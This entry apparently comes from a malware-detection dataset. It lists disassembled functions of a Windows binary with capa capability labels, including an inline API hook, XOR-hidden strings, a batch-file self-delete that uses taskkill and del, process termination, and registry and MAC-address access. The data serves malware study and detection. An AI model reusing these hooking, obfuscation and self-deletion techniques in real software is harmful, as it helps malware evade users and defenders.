joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100043b0
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
sub esp, 0x140
push ebx
push edi
mov edi, ecx
mov byte [esp + 8], 0x23
mov byte [esp + 9], 1
mov byte [esp + 0xa], 0x10
mov byte [esp + 0xb], 0x34
mov byte [esp + 0xc], 0x16
mov byte [esp + 0xd], 0xb
mov byte [esp + 0xe], 7
mov byte [esp + 0xf], 0x44
mov byte [esp + 0x10], 0x22
mov byte [esp + 0x11], 5
mov byte [esp + 0x12], 0xd
mov byte [esp + 0x13], 8
mov byte [esp + 0x14], 0
xor eax, eax
mov bl, byte [esp + eax + 8]
xor bl, 0x64
mov byte [esp + eax + 8], bl
inc eax
cmp eax, 0xc
jb 0x100043fd
mov eax, dword [esp + 0x14c]
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [esp + 0x158]
mov ecx, edi
push esi
push eax
call fcn.10005030
mov ebx, eax
test ebx, ebx
jne 0x10004441
push eax
lea ecx, [esp + 0x14]
push 0x10
push ecx
call fcn.1002fece
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
push 0
lea edx, [esp + 0x54]
push 5
push edx
push ebx
push 0xffffffffffffffff
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10004478
push eax
lea eax, [esp + 0x14]
push 0x10
push eax
call fcn.1002fece
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
lea edi, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x50]
mov ecx, edx
mov edx, dword [0x10048538]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov cl, byte [esp + 0x54]
mov esi, dword [0x1004852c]
test edx, edx
mov dword [esp + 0x44], eax
mov byte [esp + 0x48], cl
mov dword [esp + 0x4c], ebx
jne 0x100044fb
mov edx, dword [0x10048540]
push 0x34
push edx
push 0x1004853c
call fcn.10028423
mov ecx, dword [0x10048540]
add eax, 4
lea edx, [ecx + ecx*2]
lea edx, [ecx + edx*4]
dec ecx
test ecx, ecx
lea eax, [eax + edx*4 - 0x34]
jl 0x10004543
mov edx, dword [0x10048538]
inc ecx
mov dword [eax], edx
mov edx, eax
sub eax, 0x34
dec ecx
jne 0x100044eb
mov dword [0x10048538], edx
mov eax, dword [edx]
lea ebp, [edx + 8]
mov dword [0x10048538], eax
mov dword [edx + 4], 0
mov dword [edx], esi
mov esi, dword [0x10048534]
inc esi
mov ecx, 0xb
xor eax, eax
mov edi, ebp
mov dword [0x10048534], esi
lea esi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov ecx, 0xb
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x1004852c]
pop esi
test eax, eax
pop ebp
je 0x1000454b
mov dword [eax + 4], edx
jmp 0x10004551
mov edx, dword [0x10048538]
jmp 0x100044fb
mov dword [0x10048530], edx
lea ecx, [esp + 0x18]
mov dword [0x1004852c], edx
push ecx
push 0x40
push 5
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x154]
mov byte [ebx], 0xe9
sub edx, ebx
pop edi
sub edx, 5
mov eax, 1
mov dword [ebx + 1], edx
pop ebx
add esp, 0x140
ret 0xc
Function at 0x10005030
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, dword [esp + 0x124]
xor ebp, ebp
push edi
cmp esi, ebp
mov dword [esp + 0x1c], ecx
jne 0x1000505a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret 8
mov eax, dword [esi + 0x3c]
mov edi, dword [esp + 0x12c]
add eax, esi
mov ebx, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
add ebx, esi
cmp edi, 0x10000
mov dword [esp + 0x18], eax
jae 0x100050a2
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
add edx, ecx
cmp edi, edx
jae 0x10005178
cmp edi, ecx
jb 0x10005178
mov eax, dword [ebx + 0x1c]
sub edi, ecx
lea ecx, [eax + edi*4]
mov ebp, dword [ecx + esi]
jmp 0x10005137
mov ecx, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add ecx, esi
cmp eax, ebp
mov dword [esp + 0x10], ebp
jbe 0x100051bb
mov dword [esp + 0x14], ecx
jmp 0x100050c3
mov edi, dword [esp + 0x12c]
mov ecx, dword [ecx]
add ecx, esi
mov al, byte [edi]
mov dl, al
cmp al, byte [ecx]
jne 0x100050eb
test dl, dl
je 0x100050e7
mov al, byte [edi + 1]
mov dl, al
cmp al, byte [ecx + 1]
jne 0x100050eb
add edi, 2
add ecx, 2
test dl, dl
jne 0x100050c7
xor ecx, ecx
jmp 0x100050f0
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
je 0x1000511e
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [ebx + 0x18]
inc eax
add ecx, 4
cmp eax, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
jb 0x100050bc
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x114
ret 8
mov ecx, dword [ebx + 0x24]
mov edx, dword [esp + 0x10]
lea eax, [ecx + edx*2]
mov edx, dword [ebx + 0x1c]
xor ecx, ecx
mov cx, word [eax + esi]
lea eax, [edx + ecx*4]
mov ebp, dword [eax + esi]
add ebp, esi
test ebp, ebp
je 0x100051bb
cmp ebp, ebx
jb 0x100051bb
mov ecx, dword [esp + 0x18]
add ecx, ebx
cmp ebp, ecx
jae 0x100051bb
mov cl, byte [ebp]
mov ebx, ebp
test cl, cl
je 0x10005161
cmp cl, 0x2e
je 0x10005170
mov cl, byte [ebx + 1]
inc ebx
test cl, cl
jne 0x10005154
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret 8
mov edx, ebx
sub edx, ebp
test edx, edx
jg 0x10005187
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret 8
mov ecx, edx
mov esi, ebp
mov eax, ecx
lea edi, [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
mov byte [esp + edx + 0x20], 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [esp + 0x1c]
inc ebx
push ebx
push eax
call fcn.10005030
mov ebp, eax
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x114
ret 8
Function at 0x100051d0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
pop edi
cmp eax, 2
jne 0x1000523e
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x10005217
mov eax, dword [esp + 8]
xor eax, eax
add esp, 0x94
ret
cmp eax, 6
jne 0x10005230
mov eax, dword [esp + 8]
test eax, eax
jne 0x10005232
mov eax, 1
add esp, 0x94
ret
jb 0x10005247
mov eax, 1
add esp, 0x94
ret
cmp eax, 1
jne 0x10005247
mov eax, dword [esp + 4]
xor eax, eax
add esp, 0x94
ret
Function at 0x10005250
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
jmp 0x1000526e
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [0x10048d20]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [edi + 0x3c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
lea edx, [ecx + edi]
xor ecx, ecx
mov dword [ebp - 0x18], edx
mov cx, word [edx + 6]
lea eax, [edx + 0xf8]
cmp ecx, esi
mov dword [ebp - 0x10], eax
mov ebx, eax
jle 0x10005331
mov dword [ebp - 0xc], ecx
mov esi, str..iText
mov ecx, ebx
mov al, byte [ecx]
mov dl, al
cmp al, byte [esi]
jne 0x100052df
test dl, dl
je 0x100052db
mov al, byte [ecx + 1]
mov dl, al
cmp al, byte [esi + 1]
jne 0x100052df
add ecx, 2
add esi, 2
test dl, dl
jne 0x100052bb
xor ecx, ecx
jmp 0x100052e4
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x100052eb
mov dword [ebp - 8], ebx
mov esi, str..tdata
mov ecx, ebx
mov al, byte [ecx]
mov dl, al
cmp al, byte [esi]
jne 0x10005316
test dl, dl
je 0x10005312
mov al, byte [ecx + 1]
mov dl, al
cmp al, byte [esi + 1]
jne 0x10005316
add ecx, 2
add esi, 2
test dl, dl
jne 0x100052f2
xor ecx, ecx
jmp 0x1000531b
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x10005322
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0xc]
add ebx, 0x28
dec eax
mov dword [ebp - 0xc], eax
jne 0x100052b4
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
add ecx, edi
mov esi, dword [edx + 0xc]
mov edx, dword [ebp - 8]
add esi, edi
mov ebx, dword [edx + 0xc]
add ebx, edi
xor edi, edi
mov dword [ebp - 0x10], ebx
jmp 0x1000535b
mov eax, dword [eax + 8]
xor edx, edx
test eax, eax
jbe 0x10005373
xor ebx, ebx
mov bl, byte [ecx + edx]
add edi, ebx
inc edx
cmp edx, eax
jb 0x10005364
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor eax, eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x1000538b
xor edx, edx
mov dl, byte [esi + eax]
add edi, edx
inc eax
cmp eax, ecx
jb 0x1000537f
mov ecx, dword [ebp - 8]
xor eax, eax
mov esi, dword [ecx + 8]
test esi, esi
jbe 0x100053a3
xor edx, edx
mov dl, byte [ebx + eax]
add edi, edx
inc eax
cmp eax, esi
jb 0x10005397
jmp 0x100053b5
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add edi, eax
mov eax, dword [ecx + 0x58]
cmp eax, edi
pop edi
pop esi
pop ebx
je 0x100053f7
mov ecx, 0x10048cd8
call fcn.10010670
push 0
push 0x10
push 0x10042694
call fcn.1002fece
mov edx, dword [ebp - 0x1c]
push 0
push 0xffffffffffffffff
call dword [edx + 0x1c]
mov eax, 1
mov dword [0x100487dc], eax
mov esp, ebp
pop ebp
ret
jmp 0x10005407
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10005410
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
push ebx
push esi
push edi
jmp 0x1000542e
lea eax, [ebp - 0x288]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x288]
push 0x5c
push ecx
call fcn.100193d0
mov dword [ebp - 4], eax
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x183]
mov byte [ebp - 0x184], 0
add esp, 8
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x184]
push 0xff
push edx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, 0x10042734
xor eax, eax
lea edx, [ebp - 0x184]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10042730
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x184]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.kne.bat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x184]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..bat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
call fcn.100193b3
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x100055d2
mov eax, dword [ebp - 4]
test eax, eax
je 0x10005551
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x84]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x1004271c
push ebx
call fcn.10019346
lea ecx, [ebp - 0x84]
push ecx
push str.taskkill__F__IM__s_n
push ebx
call fcn.10019346
lea edx, [ebp - 0x288]
push 0x22
push edx
push 0x22
push str.del__c_s_c_n
push ebx
call fcn.10019346
lea eax, [ebp - 0x288]
push 0x22
push eax
push 0x22
push str.if_exist__c_s_c_goto_1_n
push ebx
call fcn.10019346
push 0x25
push str.del__c0_n
push ebx
call fcn.10019346
add esp, 0x48
push ebx
call fcn.100192c9
add esp, 4
lea ecx, [ebp - 0x184]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x100055d2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100055e0
Capabilities:
Create process on windows
Encode data using xor
Query environment variable
Terminate process

Disassembly:
sub esp, 0x368
mov al, 0x44
push ebx
mov byte [esp + 0x16], al
mov bl, 8
mov byte [esp + 0x1a], al
mov byte [esp + 0xc], al
mov byte [esp + 0xe], al
mov al, 0xa
mov byte [esp + 0x19], bl
mov dl, 0x27
mov cl, 0x2b
mov byte [esp + 0x11], bl
mov byte [esp + 0xf], al
mov byte [esp + 7], al
xor ebx, ebx
push esi
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x19], 7
mov byte [esp + 0x1b], 0
mov byte [esp + 0x1c], 1
mov byte [esp + 0x1f], 0
mov byte [esp + 0x20], dl
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x29
mov byte [esp + 0x23], 0x37
mov byte [esp + 0x24], 0x34
mov byte [esp + 0x25], 0x21
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0
mov byte [esp + 0x11], 0x5a
mov byte [esp + 0x14], 0x11
mov byte [esp + 0x16], 0
mov byte [esp + 8], cl
mov byte [esp + 9], 0x14
mov byte [esp + 0xa], 1
mov byte [esp + 0xc], 0
xor eax, eax
mov cl, byte [esp + eax + 0x18]
xor cl, 0x64
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 7
jb 0x10005676
xor eax, eax
mov cl, byte [esp + eax + 0x20]
xor cl, 0x64
mov byte [esp + eax + 0x20], cl
inc eax
cmp eax, 7
jb 0x10005689
xor eax, eax
mov cl, byte [esp + eax + 0x10]
xor cl, 0x64
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 6
jb 0x1000569c
xor eax, eax
mov cl, byte [esp + eax + 8]
xor cl, 0x64
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 4
jb 0x100056af
lea eax, [esp + 0x64]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100057e0
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x100057e0
lea eax, [esp + 0x26c]
push 0x104
lea ecx, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x100057e0
lea edx, [esp + 0x18]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x64]
lea edx, [esp + 0x168]
push ecx
push edx
call esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x168]
push eax
push ecx
call esi
lea edx, [esp + 8]
lea eax, [esp + 0x26c]
mov dword [esp + 0x34], edx
lea edx, [esp + 0x28]
lea ecx, [esp + 0x168]
push edx
mov dword [esp + 0x2c], 0x3c
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x30], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x100057e0
mov eax, dword [esp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push edi
push 0x40
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100
call edi
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea ecx, [esp + 0x68]
push ebx
push ecx
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
add esp, 0x368
ret
Function at 0x10007a40
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d4
push esi
mov dword [ebp - 0x2c], ecx
push edi
mov ecx, 0x6a
xor eax, eax
lea edi, [ebp - 0x1d4]
rep stosd dword es:[edi], eax
jmp 0x10007a6f
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EnumDisplayDevicesA
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ChangeDisplaySettingsA
push str.user32.dll
mov dword [0x10048b8c], eax
call esi
push eax
call edi
mov dword [0x10048b88], eax
xor eax, eax
mov dword [ebp - 0x13], eax
mov ecx, 0xff
mov dword [ebp - 0xf], eax
lea edi, [ebp - 0x5d3]
mov byte [ebp - 0xb], al
mov byte [ebp - 0x5d4], al
rep stosd dword es:[edi], eax
mov ecx, dword [str.Acceleration.Level]
mov edx, dword [0x100414f8]
stosw word es:[edi], ax
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x10041500]
stosb byte es:[edi], al
mov eax, dword [0x100414fc]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1d4]
push 0
mov dword [ebp - 0x24], edx
mov dx, word [0x10041504]
mov dword [ebp - 0x20], eax
mov al, byte [0x10041506]
push ecx
push 0
push 0
mov byte [ebp - 0x14], 0
mov word [ebp - 0x18], dx
mov byte [ebp - 0x16], al
mov dword [ebp - 0x1d4], 0x1a8
call dword [0x10048b8c]
mov al, byte [ebp - 0xac]
pop edi
test al, al
mov dword [ebp - 4], 0
pop esi
je 0x10007b53
movsx edx, al
push edx
call fcn.10018bc2
mov ecx, dword [ebp - 4]
add esp, 4
mov byte [ebp + ecx - 0xac], al
mov al, byte [ebp + ecx - 0xab]
inc ecx
test al, al
mov dword [ebp - 4], ecx
jne 0x10007b2e
lea eax, [ebp - 0xac]
push 0x100414ec
push eax
call fcn.10018af0
add esp, 8
inc eax
lea ecx, [ebp - 0x5d4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 8]
lea eax, [ebp - 0x5d4]
push edx
push 0xf003f
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007c0e
lea ecx, [ebp - 4]
lea edx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 8]
push edx
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push ecx
mov dword [ebp - 4], 9
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov al, byte [ebp - 0x14]
test al, al
je 0x10007c04
mov ecx, dword [ebp - 0x2c]
push 0x41
push 0x10043038
push 0x10043144
call fcn.1002acf3
cmp eax, 1
jne 0x10007c00
mov ecx, dword [ebp - 8]
lea edx, [ebp + 8]
push 4
push edx
push 4
lea eax, [ebp - 0x28]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x40
push 0
call dword [0x10048b88]
mov dl, byte [ebp + 8]
mov byte [ebp - 0x14], dl
jmp 0x10007c04
mov byte [ebp - 0x14], 1
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10007c1e
movsx eax, byte [ebp - 0x14]
mov esp, ebp
pop ebp
ret 4
Function at 0x10009200
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
jmp 0x10009217
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x10009232
cmp eax, 0x6f
jne 0x10009244
mov ecx, dword [ebp - 4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
jne 0x1000925b
push 0
push 0
push str.fail_MAC
call fcn.1002fece
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
lea edx, [ebp - 4]
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x10009287
push 0
push 0
push str.fail_MAC
call fcn.1002fece
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
xor eax, eax
xor ecx, ecx
mov al, byte [esi + 0x199]
mov cl, byte [esi + 0x198]
xor edx, edx
push eax
mov dl, byte [esi + 0x197]
push ecx
xor eax, eax
push edx
mov al, byte [esi + 0x196]
xor ecx, ecx
mov cl, byte [esi + 0x195]
xor edx, edx
mov dl, byte [esi + 0x194]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push eax
call fcn.10028061
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x100092e5
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1000af30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100347f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c0
push ebx
push esi
push edi
mov ebx, ecx
jmp 0x1000af65
mov ecx, 0x12b
xor eax, eax
lea edi, [ebp - 0x4cb]
mov byte [ebp - 0x4cc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x10]
push eax
push str.SOFTWARE
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0xff
mov dword [ebp - 0x18], 0x4b0
call edi
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x4cc]
push ecx
push edx
push str.VedioPack
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov esi, 0x10043ca4
lea eax, [ebp - 0x4cc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000afeb
test cl, cl
je 0x1000afe7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000afeb
add eax, 2
add esi, 2
test cl, cl
jne 0x1000afc7
xor eax, eax
jmp 0x1000aff0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1000b094
push eax
mov eax, dword [ebx + 0x3f8]
push 1
push 0xf1
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
push ecx
push str.VedioPack
push edx
call edi
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x4cc]
push eax
push ecx
push str.pass
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x4cc]
lea ecx, [ebp - 0x1c]
push eax
call fcn.1002c8c0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], 0
push ecx
push 0x3ea
mov ecx, ebx
call fcn.1002be13
cmp dword [ebx + 0x2bc], 1
jne 0x1000b085
lea esi, [ebx + 0x3c4]
lea edx, [ebp - 0x1c]
push edx
mov ecx, esi
call fcn.1002c98b
mov esi, dword [esi]
mov ecx, ebx
push esi
push 0x3ea
call fcn.1002be13
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.1002c896
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000b0ae
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000b0d0
Capabilities:
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10034818
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24c
push ebx
mov ebx, ecx
jmp 0x1000b103
mov eax, dword [0x10044578]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], 0
push ecx
push str...
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x18], eax
je 0x1000b22a
push esi
push edi
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x158]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1000b228
lea ecx, [ebp - 0x12c]
push ecx
lea ecx, [ebp - 0x10]
call fcn.1002c9db
push 0x2e
lea ecx, [ebp - 0x10]
call fcn.10027cf2
cmp byte [ebp + eax - 0x12b], 0x72
jne 0x1000b132
cmp byte [ebp + eax - 0x12a], 0x72
jne 0x1000b132
cmp byte [ebp + eax - 0x129], 0x72
jne 0x1000b132
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x257]
mov byte [ebp - 0x258], 0
rep stosd dword es:[edi], eax
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebp - 0x12c]
push SysReAllocString
push edx
stosw word es:[edi], ax
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x1000b1da
push 0x10
push 0x10043ef0
call fcn.1002fece
jmp 0x1000b132
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x258]
push eax
push 0xff
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x1000b132
lea edx, [ebp - 0x258]
lea ecx, [ebx + 0x3c4]
push edx
mov dword [ebx + 0x3c0], eax
call fcn.1002c9db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0xc4]
jmp 0x1000b132
pop edi
pop esi
jmp 0x1000b23a
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
call fcn.1002c896
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000ba00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
jmp 0x1000ba1b
mov eax, dword [esi + 0x3c0]
test eax, eax
jne 0x1000ba52
lea eax, [esi + 0x3c4]
push eax
push 0x3ea
call fcn.1002a115
test eax, eax
je 0x1000ba3f
cmp eax, 0xa
jge 0x1000ba52
push 0
push 0x10
push str.password_wrong
call fcn.1002fece
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x3f8]
push 0
push 0
push 0xf0
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 1
jne 0x1000bae4
lea edx, [ebp - 4]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edx
push str.SOFTWARE
push reloc.OLEAUT32.dll_SysReAllocString
call edi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push str.VedioPack
push ecx
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push str.pass
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esi + 0x3c4]
mov eax, dword [ebp - 4]
mov ecx, dword [0x10044578]
push 0
push edx
push 1
push str.pass
push eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
mov edx, dword [ebp - 8]
push edx
call edi
lea ecx, [ebp - 0xc]
call fcn.1002c896
pop edi
mov ecx, esi
